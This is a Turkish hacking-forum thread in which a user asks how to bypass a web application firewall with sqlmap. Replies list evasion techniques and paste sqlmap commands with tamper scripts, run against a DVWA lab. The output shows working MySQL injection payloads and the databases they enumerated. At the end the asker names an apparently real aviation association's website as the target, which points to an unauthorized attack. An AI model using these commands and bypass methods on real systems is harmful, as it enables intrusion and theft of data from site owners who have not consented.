Birçok hacker, WAF/IPS'yi atlamak için farklı teknikler kullanır. Bunların bazıları şunlardır:Başlıkta yazıldığı gibi hocam .
Hocam şuan bende sadece SQLMAP kurulu. WAF'ı atlatmak için farklı tool kullanmak gerekiyor mu eğer gerekiyorsa örnek verebilir misiniz ?Birçok hacker, WAF/IPS'yi atlamak için farklı teknikler kullanır. Bunların bazıları şunlardır:
Bulabiliğim sonuçlar bunlar.
- Sıfır Gün saldırıları: Bu, yeni keşfedilen güvenlik açıklarından yararlanarak WAF/IPS'yi atlatmaya çalışan bir saldırı türüdür. Bu tür saldırılar, WAF/IPS'lerin güvenlik politikalarını bozabilir ve sistemi savunmasız bırakabilir.
- İstemci tarafı saldırıları: Bu tür saldırılar, WAF/IPS'nin önündeki istemci tarafında gerçekleşir. Saldırgan, kullanıcıyı yanıltarak, zararlı kodları yürütebilir ve WAF/IPS'yi atlayabilir.
- Yavaş saldırılar: Bu tür saldırılar, WAF/IPS'yi atlamak için yavaş ancak sürekli bir akış oluşturur. Saldırgan, WAF/IPS'nin kaynaklarını tüketerek, WAF/IPS'nin yavaşlamasına veya çökmesine neden olabilir.
- Doğru kodlama teknikleri kullanma: Bazı hackerlar, WAF/IPS'yi atlamak için doğru kodlama tekniklerini kullanarak saldırı gerçekleştirirler. Bu teknikler, kodun algılanmasını zorlaştırarak WAF/IPS'nin savunma mekanizmasını aşmayı amaçlar.
Waf için tamper scriptlerini kullanmayı deneyebilirsin .Başlıkta yazıldığı gibi hocam .
SQLMAP, SQL enjeksiyon testlerinde kullanılan bir araçtır ve bir WAF'ı atlatmak için yeterli olmayabilir. WAF (Web Application Firewall) koruması, SQL enjeksiyonu gibi yaygın saldırılar için filtreleme yaparak web uygulamalarını korur.Hocam şuan bende sadece SQLMAP kurulu. WAF'ı atlatmak için farklı tool kullanmak gerekiyor mu eğer gerekiyorsa örnek verebilir misiniz ?
Hocam bildiğiniz resimli bir konu varsa gönderebilir misiniz ?Waf için tamper scriptlerini kullanmayı deneyebilirsin .
Hocam engellediği harf, sayı vb. şeyleri göremiyorum başka bi yerde olabilir mi ?Kullanılan Waf ve engelleme tekniğine göre ve aynı şekilde senin yapacağın saldırıya göre değişir üstte demissin sqlmap kurulu egerki SQL İnjection açığıni exploit etmeye çalışıyorsan wafin engellediği artık harf,sayi vs..buna göre bypass scripti uygulaman gerek Tamper işini görür.
Onun dışında uzun konu DNS ile bypass yöntemleri var,proxy ile bypas yapılıyor vs.vs..
Hedef web uygulamada SQL Injection güvenlik açığı tespit edilse bile normal şartlarda Sqli komutları işlem görmüyorsa büyük ihtimalle uygulamanın önünde konumlandırılan bir WAF (Web Application Firewall) tarafından algılanıp engelleniyordur.Başlıkta yazıldığı gibi hocam .
root@bt: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs
sqlmap - automatic SQL injection and database takeover tool
sqlmap: automatic SQL injection and database takeover tool
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
root@pentest: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "randomcase" --dbs
[*] starting at 16:16:24
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3106=3106&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41
Pardon hocam yeni gördüm kusura bakmayın. ''Shelby County Aviation Assocation'' Buyrun hocam.siteyi yollasana bi
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.